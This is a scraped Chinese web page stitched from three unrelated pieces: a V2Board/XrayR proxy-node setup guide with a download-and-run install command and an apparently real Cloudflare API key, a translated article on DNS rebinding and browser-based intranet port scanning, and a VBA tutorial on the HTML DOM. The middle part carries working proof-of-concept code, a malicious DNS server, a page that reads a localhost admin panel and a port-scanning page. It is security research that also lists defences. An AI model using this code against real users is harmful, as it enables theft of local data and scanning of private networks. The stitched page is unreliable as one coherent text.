整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

V2Board 面板节点对接教程,超级详细

V2Board 面板节点对接教程,超级详细

rayR开源项目地址:https://github.com/XrayR-project/XrayR

1、XrayR一键安装

wget -N https://raw.githubusercontent.com/XrayR-project/XrayR-release/master/install.sh && bash install.sh

配置文件路径:/etc/XrayR/config.yml

2、权限组——订阅管理——节点管理的逻辑关系


权限组只是举例说明,小伙伴可以根据实际情况设置


添加图片注释,不超过 140 字(可选)


订阅管理的配置模板

<style>
    .no-wrap {
        white-space:pre-wrap;;
    }
</style>
<div class="no-wrap">
迅速的网络
媒体解锁
享有IPLC游戏专线
不限制设备数
999 GB 流量/月
400 Mpbs 限速
在线客服售后
</div>

3、SSL设置参考资料:https://go-acme.github.io/lego/dns/cloudflare/

CLOUDFLARE_EMAIL=you@example.com \
CLOUDFLARE_API_KEY=b9841238feb177a84330febba8a83208921177bffe733 \

4、节点配置,参考XrayR详细教程:https://xrayr-project.github.io/XrayR-doc/dui-jie-v2board/v2board.html

放行端口

文声明

本文是翻译文章,文章原作者bookgin,

文章来源:bookgin.tw

原文地址:https://bookgin.tw/2019/01/05/abusing-dns-browser-based-port-scanning-and-dns-rebinding/


译文仅供参考,具体内容表达以及含义原文为准

在这篇文章中,我将介绍如何使用DNS重绑定来读取跨站的内容,而第二部分是利用DNS fallback机制来进行内网端口扫描。这两种攻击方式,只要求受害者点击链接打开含有恶意内容的网页。

利用一:同源策略绕过

众所周知,同源策略是一个浏览器的基本安全策略。因为默认的情况下,浏览器会阻止获取来着非同源的内容。如果有一个用户访问了我的网站example.com,我就不可以用iFrame来窃取他在Youtube (youtube.com) 的浏览记录。

然而,域名后有个IP地址,假设 example.com 解析到 93.184.216.34, 而 youtube.com 解析到 216.58.200.46。这里有个很酷的办法:不改变域名,那就不会违反同源策略,但是又可以令浏览器实际上是从 216.58.200.46获取内容:

  1. ① 受害者访问了我们含有恶意内容的网站 example.com,解析到自己的IP 240.240.240.240.
  2. ② 受害者正在获取example.com/account/information的内容,但是这时候域名解析到了 216.58.200.46.
  3. ③ 但是此时请求并没有违反同源策略,因此我就可以读取其内容,并且把他发回我的log服务器

攻击成功!然而,当然 youtube.com 这么攻击时没用的,对于DNS重绑定技术的局限性和防御措施,请参考下面的防御措施部分。

攻击场景

所以可以假设有这样一个场景,当有个的管理员界面运行在 127.0.0.1:8080,因为它只能通过本地访问,所以你认为没有必要为它设置密码保护。倘若管理员界面中的敏感信息在127.0.0.1:8080/account/information,我们是可以绕过同源策略并且从这个页面上窃取信息。这个攻击场景是相当具有实际意义的,这儿有一个真实的案例。

假设受害者使用Chromium 71,并且点开了我们含有恶意内容的网站 example.com:8080 ,一开始它被解析到 240.240.240.240。

不幸的是,DNS重绑定攻击没办法可以这么直接地实施。由于DNS缓存机制,当域名一开始解析到 240.240.240.240 (攻击者的IP),浏览器会把它缓存下来,并且下一次就不会再进行DNS查询了。

要绕过这个限制,我们可以自建DNS服务器,返回给多个A记录给客户端。

;; ANSWER SECTION:
example.com.    0    IN    A    240.240.240.240
example.com.    0    IN    A    0.0.0.0

当DNS服务器响应中包含多条A记录的时候,Chromium首先会尝试连接到 240.240.240.240 ,如果240.240.240.240 无法访问(连接被拒绝或者路由不可达),它就会使用0.0.0.0 作为fallback(备选)。

注意:Chromium并不一定总是会在一开始把域名解析到240.240.240.240 ,还有可能会被解析到第二项 0.0.0.0 (localhost),出现这种情况的时候再试几次就好了。

0.0.0.0 才是要点所在,我们不能用 127.0.0.1 ,否则Chrome会在一开始就直接把域名解析到 127.0.0.1 ,这样我们就没法让受害者访问我们的恶意网站了。然而,在使用 240.240.240.240 和0.0.0.0的时候,Chrome才会在一开始先解析到240.240.240.240

因此,等受害者一访问 example.com, Chromium就会把它解析到240.240.240.240,如下是我们搭建的恶意网站的内容:

<!doctype html>
<html>
<script>
  var readContent=function() {
    fetch("//example.com:8080/account/information").then(r=> r.text()).then(t=> console.log(t));
  };
  setInterval(readContent, 1000);
</script>
</html>

然而,我们之前说过Chromium会把example.com 的解析结果240.240.240.240缓存下来,这样一来我们就永远也没办法从 0.0.0.0:8080的管理员界面窃取数据了。因此我们要做的是,把位于 240.240.240.240的Web服务器暂时关掉,基于DNS fallback机制(再次访问的时候连接被拒绝),Chromium就会从 0.0.0.0:8080.获取内容,这样一来,我们就能在不违反同源的前提下窃取数据了!

这个Poc在Chromium 71有用,其他复杂的PoC可以参见Github上的项目singularit.

防御措施

不过,这种攻击也有一定的局限性。网站开发者们可以利用局限性来防止他们的网站受到攻击:

【1】不发送Cookie: 令网站只支持使用IP地址访问,这样浏览器就不可能把网站的Cookie发给攻击者了。【2】验证请求头中的HOST字段:令网站验证HTTP请求头里的Host字段,这样就杜绝了漏洞,因为HOST是example.com:8080.【3】使用HTTPS:当域名不正确的时候,浏览器会拒绝TLS连接。

攻击脚本

#!/usr/bin/env python3
# Python 3.6.4
#
# dnslib==0.9.7
from dnslib.server import DNSServer, DNSLogger, DNSRecord, RR
import time
import sys

class TestResolver:
    def resolve(self,request,handler):
        q_name=str(request.q.get_qname())
        print('[<-] ' + q_name)
        reply=request.reply()
        print('[->] 240.240.240.240+127.0.0.1')
        reply.add_answer(*RR.fromZone(q_name + " 0 A 240.240.240.240"))
        reply.add_answer(*RR.fromZone(q_name + " 0 A 127.0.0.1"))
        return reply
logger=DNSLogger(prefix=False)
resolver=TestResolver()
server=DNSServer(resolver,port=53,address="0.0.0.0",logger=logger)
server.start_thread()
try:
    while True:
        time.sleep(1)
        sys.stderr.flush()
        sys.stdout.flush()
except KeyboardInterrupt:
    pass
finally:
    server.stop()

利用二:端口扫描

是不是发现DNS Fallback的机制还蛮有趣的?这个部分我们来谈谈如何利用这个机制进行内网端口扫描。

办法很直接,很容易就能想到,假设DNS解析结果长这样:

;; ANSWER SECTION:
example.com.    0    IN    A    127.0.0.1
example.com.    0    IN    A    240.240.240.240

因为:Chromium总是会首先把域名解析到 127.0.0.1 ,而只有在连接127.0.0.1失败的时候,才会尝试去连接 240.240.240.240。所以说,我们可以利用这个现象来检测端口是不是开放的。

开始攻击

基于浏览器的端口扫描恶意源码:

<!doctype html>
<html>
<body>
  <div id="images">
  <div>
</body>
<script>
  var images=document.getElementById("images");
  for (let port=13337; port < 13340; port++) {
    let img=document.createElement("img");
    img.src=`//example.com:${port}`;
    images.appendChild(img);
  }
</script>
</html>

我们在自己服务器 240.240.240.240上开放 13337 – 13340 端口,如果端口接收到了来自客户端的连接,那么这就意味着在受害者的本机上,对应的端口是关闭的。

为了能扫内网,我们想知道受害者的私有IP地址,HTML5 WebRTC技术可以用来泄漏受害者的私有IP地址,可以参考这个PoC。其实HTML5看上去还有很多的特性,这些特性很容易会被滥用。

当然也有另外的办法来实现端口扫描,可以参见这两位前辈的相关文章:

【1】基于WebRTC+XHR的延时攻击:Skylined uses timing attack based on WebRTC+XHR【2】基于iframes和一些小技巧检测连接是否被拒绝:Gareth Heyes uses iframes

后记

我一直在想:当点击一个无关痛痒的链接,即使我什么也不提供,会发生什么?攻击者可以做些什么?

【1】家庭网络内网扫描【2】找到IoT设备的网页入口 192.168.1.2:8000 以及在192.168.1.1:8080的WiFi管理员界面【3】发送恶意请求控制IoT设备,比如最简单的可以打开家里的门。【4】…

好吧,可能有点夸张,但这听起来真的有可能,看看这篇文章),不是嘛?下次点开链接之前记得三思而后行。

参考

Gareth Heyes, 基于浏览器进行端口扫描内网

Skylined (@berendjanwever), 内网扫描器

NCC Group Plc, Singularity: 一个DNS重绑定攻击框架

Michele Spagnuolo, DNS重绑定的威力:用一个网站来窃取WiFi密码

Brannon Dorsey, 用DNS重绑定攻击私有网络


欢迎登录安全客 -有思想的安全新媒体www.anquanke.com/加入交流群113129131 获取更多最新资讯

原文链接: https://www.anquanke.com/post/id/213413

分享成果,随喜正能量】“人情似纸张,世世如棋局”,对外叠加期待,就是对己的庸人自扰。人世间坎坷起伏,学会戒掉依赖,降低期待,控制敏感,多一份淡然,顺其自然,反而更容易获得意外之喜。

《VBA信息获取与处理》教程是我推出第六套教程,目前已经是第一版修订了。这套教程定位于最高级,是学完初级,中级后的教程。这部教程给大家讲解的内容有:跨应用程序信息获得、随机信息的利用、电子邮件的发送、VBA互联网数据抓取、VBA延时操作,剪贴板应用、Split函数扩展、工作表信息与其他应用交互,FSO对象的利用、工作表及文件夹信息的获取、图形信息的获取以及定制工作表信息函数等等内容。程序文件通过32位和64位两种OFFICE系统测试。是非常抽象的,更具研究的价值。

教程共两册,八十四讲。今日的内容是专题八“VBA与HTML文档”:文档的访问端口DOM

第五节 HTML文档的访问端口DOM (Document Object Model)

大家好,我们继续对HTML文档进行学习,在前几节中我们认识了网页文档上面的各种元素,那么我们又该怎么访问他们呢,是如何实现呢?其实,HTML文档,提供了访问其元素的端口,这就是HTML DOM,其定义了一套标准的针对 HTML 文档的对象访问或操作的机制。HTML DOM 定义了所有 HTML 元素的对象和属性,以及访问它们的方法。换言之,HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准。

1 HTML DOM (Document Object Model) 对象集合

每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。Document 对象是 HTML 文档的根节点。

特别注意:Document 对象是 Window 对象的一部分,可通过 window.document 属性对其进行访问。

集合 描述

all[] 提供对文档中所有 HTML 元素的访问。

anchors[] 返回对文档中所有 Anchor 对象的引用。

applets 返回对文档中所有 Applet 对象的引用。

forms[] 返回对文档中所有 Form 对象引用。

images[] 返回对文档中所有 Image 对象引用。

links[] 返回对文档中所有 Area 和 Link 对象引用。

VBA直接支持调用的对象有限,如下:

对象 描述

Document 代表整个 HTML 文档,可被用来访问页面中的所有元素

Anchors 代表 <a> 元素集合

Body 代表 <body> 元素

Forms 代表 <form> 元素集合

Frames 代表 <frame> 元素或<iframe> 元素集合

Images 代表 <img> 元素集合

Links 代表 <link> 元素集合

Options 代表 <option> 元素集合(select元素里面可以直接使用)

Cells 代表 <td> 元素集合(table元素里面可以直接使用)

Rows 代表 <tr> 元素集合(table元素里面可以直接使用)

All 对象集合,提供对文档中所有 HTML 元素的访问。

上述VBA支持直接调用对象的元素,调用起来就非常方便了,可以用序号调用,例如forms(0),也可以按名称/ID调用,例如forms(“名称/ID”)。其他没法直接调用对象的元素,可以间接从通用all对象集合中去调用该元素或该元素对应的dom对象。

(待续)

本节知识点回向:

什么是HTML DOM文档的属性,常用的属性有哪些。

本节参考文件:008工作表.xlsm

我20多年的VBA实践经验,全部浓缩在下面的各个教程中,教程学习顺序:

【分享成果,随喜正能量】只要健健康康、平平安安,生活就是最美满的生活,日子就是顶好的日子。